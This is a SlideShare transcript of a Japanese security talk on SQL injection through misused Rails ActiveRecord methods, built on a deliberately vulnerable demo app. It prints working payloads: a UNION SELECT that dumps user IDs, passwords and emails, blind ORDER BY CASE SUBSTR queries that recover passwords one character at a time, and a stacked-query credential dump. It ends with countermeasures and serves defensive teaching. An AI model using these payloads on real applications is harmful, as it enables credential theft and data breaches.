SlideShare a Scribd company logo
1 of 45
Rails SQL Injection Examplesの紹介
2014年6月11日
徳丸 浩
Rails SQL Injection Examplesとは
Copyright © 2010-2014 HASH Consulting Corp.
2
Rails SQL Injection Examplesとは
3http://rails-sqli.org/ より引用
Ruby on Railsの
ActiveRecordのメソッド
やオプションの指定方法
の誤りによるSQLインジェ
クションのサンプル集
Example1:whereメソッド
4http://rails-sqli.org/ より引用
whereメソッドの用途と注意点
• SQLのWHERE句を「生で」指定できる
• 文字列連結でWHERE句を組み立てると、普通
にSQLインジェクション脆弱となる
• 正しくはプレイスホルダを使う(後述)
• 前述の例は認証回避の例だが…飽きたw
Copyright © 2010-2014 HASH Consulting Corp.
5
脆弱性のあるアプリケーション
Copyright © 2010-2014 HASH Consulting Corp.
6
@books = Book.where(
"publish = '#{params[:publish]}' AND price >= #{params[:price]}")
山田 祥寛 (著)
Ruby on Rails 4 アプリケーションプログラミング
技術評論社 (2014/4/11)
に脆弱性を加えましたw
※元本に脆弱性があるわけではありません
UNION SELECTにより個人情報を窃取
Copyright © 2010-2014 HASH Consulting Corp.
7
priceに以下を入れる
1) UNION SELECT
id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users --
SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >=
1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,
updated_at FROM users --)
対策 プレースホルダ
8Ruby on Rails 4 アプリケーションプログラミング、山田 祥寛より引用
Example2: orderメソッド
9http://rails-sqli.org/ より引用
ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って?
• ORDER BY の後には式が書ける
• 以下のSQL文は算数と国語の点数の合計でソートす
る
– SELECT * FROM 成績 ORDER BY (算数+国語)
• 以下の式は、password列の一文字目が s なら 0
そうでなければ 1 を返す
– CASE SUBSTR(password, 1, 1)
WHEN 's' THEN 0
ELSE 1
END
• よって、このORDER BYは、「パスワードの一文字目
が s」の利用者を先頭に集めるソート…だが、しかし
Copyright © 2010-2014 HASH Consulting Corp.
10
どういうページを想定しているのか?
Copyright © 2010-2014 HASH Consulting Corp.
11
こういうページですか? わかりません (>_<)
これでは、
元々が個人情
報漏えいだw
とは言え、やってみた
Copyright © 2010-2014 HASH Consulting Corp.
12
# SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd,
1, 1) WHEN 'a' THEN 0 else 1 END) asc;
id | userid | passwd | tel | mail
----+-----------+--------+--------------+---------------------
1 | tanaka | abcd | 03-1234-5678 | tanaka@example.jp
2 | yamada | aaaa | 06-2345-6789 | yamada@example.jp
3 | ockeghem | dcba | 045-678-9012 | ockeghem@example.jp
4 | takahashi | cdcd | 099-123-4567 | takahashi@exmaple.jp
パスワードの一文字目が「a」は、実際には2件該当している
http://ror4:3000/users?order=(C
ASE+SUBSTR(passwd,1,1)+WH
EN+'a'+THEN+0+else+1+END)
パスワードの一文字目が「a」のも
のを先頭に持ってきたが、何件該
当するかが分からない。0件の可
能性もある
課題は二つ
• 個人情報の一覧ページがあり、ソート順を指定で
きるという想定が現実的でない
• 特定のソート条件は指定できるが、該当件数が
わからない
Copyright © 2010-2014 HASH Consulting Corp.
13
改良1: 別の一覧と個人情報をマップする
Copyright © 2010-2014 HASH Consulting Corp.
14
書籍の一覧と個人情報をマップする
Copyright © 2010-2014 HASH Consulting Corp.
15
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by passwd;
id | title | userid | passwd
----+------------------------------------+-----------+-------
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
4 | 書き込み式SQLのドリル | takahashi | cdcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
16
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
(select case
when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に
else 1 -- その他は後ろに
end from users where books.id=users.id)
ORDER BY の副問い合わせ
userid=ockeghemと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
17
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
先頭行がuserid=ockeghemに対応
改良2: セパレータとなる行を挟む
Copyright © 2010-2014 HASH Consulting Corp.
18
ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
19
=# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2
end from users where books.id=users.id);
(select case userid
when 'tanaka' then 0 -- 'tanaka' を先頭に
when 'ockeghem' then 1 -- 'ockeghem' はセパレータ
else 2 -- その他は後ろに
end from users where books.id=users.id)
※セパレータがないと、'tanaka'が存在しない場合を区別できない
ORDER BY の副問い合わせ
userid=tanakaと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
20
wasbook=# SELECT books.id, books.title, users.userid,
users.passwd FROM books, users WHERE books.id=users.id order
by (select case userid when 'tanaka' then 0 when 'ockeghem'
then 1 else 2 end from users where books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
userid=ockeghemをセパレータに
デモを見やすくするために書籍タイトルにユーザ名を併記
Copyright © 2010-2014 HASH Consulting Corp.
21
※デモを見やすくするための表示であり、「改ざん」をするという想定ではありません
辞書攻撃で発
見したユーザ
パスワードに対する辞書攻撃(1)
Copyright © 2010-2014 HASH Consulting Corp.
22
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='abcd' then 0 -- passwd='abcd' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaのパスワードがabcdと判明
パスワードに対する辞書攻撃(2)
Copyright © 2010-2014 HASH Consulting Corp.
23
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='bcda' then 0 -- passwd='bcda' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
passwd=bcda は存在しないことが判明
一文字ずつ試行するブラインドSQL
インジェクション
Copyright © 2010-2014 HASH Consulting Corp.
24
パスワードの1文字目が a の利用者を探す
Copyright © 2010-2014 HASH Consulting Corp.
25
select id, title from books order by (select case when
userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0
else 2 end from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に
else 2
end from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaとyamadaのパスワード
1文字目がaと判明
1回の試行で1種類の文字チェック
しかできないのは不効率だが…
Copyright © 2010-2014 HASH Consulting Corp.
26
セパレータを増やせば、一度に多く
の文字をチェック可能
Copyright © 2010-2014 HASH Consulting Corp.
27
aaaa, bbbb, cccc, ddddの4ユーザを登録
Copyright © 2010-2014 HASH Consulting Corp.
28
(select case userid
when 'aaaa' then 0
when 'bbbb' then 1
when 'cccc' then 2
when 'dddd' then 3
else 4
end from users where
books.id=users.id)
パスワードの一文字目をまとめてクエリ
Copyright © 2010-2014 HASH Consulting Corp.
29
(SELECT CASE
WHEN userid='aaaa' THEN 1
WHEN userid='bbbb' THEN 3
WHEN userid='cccc' THEN 5
WHEN userid='dddd' THEN 7
WHEN SUBSTR(passwd,1,1)='a' THEN 0
WHEN SUBSTR(passwd,1,1)='b' THEN 2
WHEN SUBSTR(passwd,1,1)='c' THEN 4
WHEN SUBSTR(passwd,1,1)='d' THEN 6
ELSE 99
END FROM users WHERE books.id=users.id)
※ 簡単化のためパスワードは a~d 4文字で構成とする
パスワードの1文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
30
tanakaとyamadaのパスワード
1文字目がaと判明
takahashiのパスワード1文字目がcと判明
ockeghemのパスワード1文字目がdと判明
tanaka a***
yamada a***
takahashi c***
ockeghem d***
パスワードの2文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
31
takahashiのパスワード2文字目がdと判明
ockeghemのパスワード2文字目がcと判明
tanaka ab**
yamada aa**
takahashi cd**
ockeghem dc**
tanakaのパスワード2文字目がbと判明
yamadaのパスワード2文字目がaと判明
パスワードの3文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
32
tanakaとtakahashiのパスワード
3文字目がcと判明
yamadaのパスワード3文字目がaと判明
ockeghemのパスワード3文字目がbと判明
tanaka abc*
yamada aaa*
takahashi cdc*
ockeghem dcb*
パスワードの4文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
33
ockeghemとyamadaのパスワ
ード1文字目がaと判明
tanaka abcd
yamada aaaa
takahashi cdcd
ockeghem dcba
tamalaとtakahashiのパスワー
ド4文字目が d と判明
もっと簡単な方法はないのか?
Copyright © 2010-2014 HASH Consulting Corp.
34
UNION(not ONION) は?
Copyright © 2010-2014 HASH Consulting Corp.
35
ORDER BYの後にUNIONは使えない
Copyright © 2010-2014 HASH Consulting Corp.
36
PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー
LINE 1: SELECT "books".* FROM "books" ORDER BY title
UNION SELECT ...
^
: SELECT "books".* FROM "books" ORDER BY title UNION
SELECT * FROM users -- asc
PostgreSQLの場合、複文は使え
ないか?
Copyright © 2010-2014 HASH Consulting Corp.
37
やはりエラーになる
Copyright © 2010-2014 HASH Consulting Corp.
38
missing attribute: isbn
SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc
しかし、missing attribute: isbn
なら、別名として与えてやれば…
Copyright © 2010-2014 HASH Consulting Corp.
39
ユーザー情報の窃取に成功
Copyright © 2010-2014 HASH Consulting Corp.
40
SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS
isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM
users-- asc
対策
Copyright © 2010-2014 HASH Consulting Corp.
42
表名、列名によるSQLインジェクションの対策
• 以下のいずれか、あるいは複数を実施
• 列名をクォート&エスケープする
• 列名が許可されたものかどうかを検査する
– いわゆるホワイトリスト検査
• 列を数字で指定して、内部で列名に変換する
Copyright © 2010-2014 HASH Consulting Corp.
43
列名をシンボルに変換すると、クォート&エスケープされるが
Copyright © 2010-2014 HASH Consulting Corp.
44
SELECT "books".* FROM "books" ORDER BY "books"."title""a" ASC
def index
p = params[:order].to_sym
@books = p ? Book.order(p) : Book.all
end
ユーザ入力を無条件にシンボルに変換するのはまずい
• シンボルはGCで回収されない
• 外部から任意のシンボルを作れる場合、非常に多数のシンボルを作ら
れるとメモリを過度に消費してしまう
• 類似の例にCVE-2014-0082がある
• 列名のホワイトリスト検査と併用ならば可(シンボル数が抑制される)
Copyright © 2010-2014 HASH Consulting Corp.
45
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-001439.html より引用
まとめ
• Ruby on RailsのActiveRecordの使い方に起因するSQLイン
ジェクションを紹介
• ActiveRecordのメソッドには、与えられた文字列が「そのま
ま」SQL文に展開されるものがある
• 値パラメータについてはプレースホルダを活用
• 表名、列名、キーワードについては以下のいずれかを行う
– 表名、列名、キーワードのホワイトリスト検査
– 外部では番号で指定して、内部で表名、列名、キーワード等に変換
する
• SQL識別子のクォート&エスケープをさせる目的で、Rubyの
識別子を積極的に活用することの是非については有識者の
ご意見をお伺いしたいです
Copyright © 2010-2014 HASH Consulting Corp.
46

More Related Content

What's hot

What's hot (20)

2016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 15
2016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 152016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 15
2016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 15
 
並列対決 Elixir × Go × C# x Scala , Node.js
並列対決 Elixir × Go × C# x Scala , Node.js並列対決 Elixir × Go × C# x Scala , Node.js
並列対決 Elixir × Go × C# x Scala , Node.js
 
マルチテナント化で知っておきたいデータベースのこと
マルチテナント化で知っておきたいデータベースのことマルチテナント化で知っておきたいデータベースのこと
マルチテナント化で知っておきたいデータベースのこと
 
なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)
なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)
なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)
 
Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編
 Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編 Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編
Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編
 
20分でわかるgVisor入門
20分でわかるgVisor入門20分でわかるgVisor入門
20分でわかるgVisor入門
 
マイクロサービスバックエンドAPIのためのRESTとgRPC
マイクロサービスバックエンドAPIのためのRESTとgRPCマイクロサービスバックエンドAPIのためのRESTとgRPC
マイクロサービスバックエンドAPIのためのRESTとgRPC
 
Docker Tokyo
Docker TokyoDocker Tokyo
Docker Tokyo
 
WebAssemblyのWeb以外のことぜんぶ話す
WebAssemblyのWeb以外のことぜんぶ話すWebAssemblyのWeb以外のことぜんぶ話す
WebAssemblyのWeb以外のことぜんぶ話す
 
マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018
マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018
マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018
 
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
 
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
実運用して分かったRabbit MQの良いところ・気をつけること #jjug実運用して分かったRabbit MQの良いところ・気をつけること #jjug
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
 
What's new in Spring Boot 2.6 ?
What's new in Spring Boot 2.6 ?What's new in Spring Boot 2.6 ?
What's new in Spring Boot 2.6 ?
 
大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック
大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック
大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック
 
新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編
 
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
 
ゲームエンジニアのためのデータベース設計
ゲームエンジニアのためのデータベース設計ゲームエンジニアのためのデータベース設計
ゲームエンジニアのためのデータベース設計
 
HSM超入門講座
HSM超入門講座HSM超入門講座
HSM超入門講座
 
マイクロサービスにおける 結果整合性との戦い
マイクロサービスにおける 結果整合性との戦いマイクロサービスにおける 結果整合性との戦い
マイクロサービスにおける 結果整合性との戦い
 
20200212 AWS Black Belt Online Seminar AWS Systems Manager
20200212 AWS Black Belt Online Seminar AWS Systems Manager20200212 AWS Black Belt Online Seminar AWS Systems Manager
20200212 AWS Black Belt Online Seminar AWS Systems Manager
 

Viewers also liked

安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
 
文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?
Hiroshi Tokumaru
 
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼうCMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Hiroshi Tokumaru
 
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱 WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
Hiroshi Tokumaru
 
徳丸本ができるまで
徳丸本ができるまで徳丸本ができるまで
徳丸本ができるまで
Hiroshi Tokumaru
 
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
Hiroshi Tokumaru
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
 

Viewers also liked (20)

安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
 
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのかSecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
 
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
 
文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?
 
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みセキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試み
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
 
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
 Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編) Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
 
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼうCMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
 
Phpcon2015
Phpcon2015Phpcon2015
Phpcon2015
 
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
 
安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016
 
CSRF脆弱性について
CSRF脆弱性についてCSRF脆弱性について
CSRF脆弱性について
 
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせphpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
 
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱 WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
 
徳丸本ができるまで
徳丸本ができるまで徳丸本ができるまで
徳丸本ができるまで
 
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
 
UnicodeによるXSSと SQLインジェクションの可能性
UnicodeによるXSSとSQLインジェクションの可能性UnicodeによるXSSとSQLインジェクションの可能性
UnicodeによるXSSと SQLインジェクションの可能性
 
文字コードに起因する脆弱性とその対策
文字コードに起因する脆弱性とその対策 文字コードに起因する脆弱性とその対策
文字コードに起因する脆弱性とその対策
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
 

Similar to Rails SQL Injection Examplesの紹介

ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
Hiroh Satoh
 

Similar to Rails SQL Injection Examplesの紹介 (20)

ArcBox のおさらいと最新情報
ArcBox のおさらいと最新情報ArcBox のおさらいと最新情報
ArcBox のおさらいと最新情報
 
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
 
DTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめDTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめ
 
Slick入門
Slick入門Slick入門
Slick入門
 
Ruby で扱う LDAP のススメ
Ruby で扱う LDAP のススメRuby で扱う LDAP のススメ
Ruby で扱う LDAP のススメ
 
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpringオープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
 
Programming AWS with Perl at YAPC::Asia 2013
Programming AWS with Perl at YAPC::Asia 2013Programming AWS with Perl at YAPC::Asia 2013
Programming AWS with Perl at YAPC::Asia 2013
 
Aerospike xdr (Cross Datacenter Replication)
Aerospike xdr (Cross Datacenter Replication)Aerospike xdr (Cross Datacenter Replication)
Aerospike xdr (Cross Datacenter Replication)
 
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)
 
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)
 
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...
 
Chugoku db 20th-postgresql-10-pub
Chugoku db 20th-postgresql-10-pubChugoku db 20th-postgresql-10-pub
Chugoku db 20th-postgresql-10-pub
 
C#実装から見るDDD(ドメイン駆動設計)
C#実装から見るDDD(ドメイン駆動設計)C#実装から見るDDD(ドメイン駆動設計)
C#実装から見るDDD(ドメイン駆動設計)
 
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
 
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所
 
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜
 
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006
 
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)
 
AWS小ネタ集
AWS小ネタ集AWS小ネタ集
AWS小ネタ集
 
PostgreSQL Unconference #29 Unicode IVS
PostgreSQL Unconference #29 Unicode IVSPostgreSQL Unconference #29 Unicode IVS
PostgreSQL Unconference #29 Unicode IVS
 

More from Hiroshi Tokumaru

More from Hiroshi Tokumaru (20)

SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
 
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
 
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
 
SQLインジェクション再考
SQLインジェクション再考SQLインジェクション再考
SQLインジェクション再考
 
徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する
 
introduction to unsafe deserialization part1
introduction to unsafe deserialization part1introduction to unsafe deserialization part1
introduction to unsafe deserialization part1
 
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
 
XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門
 
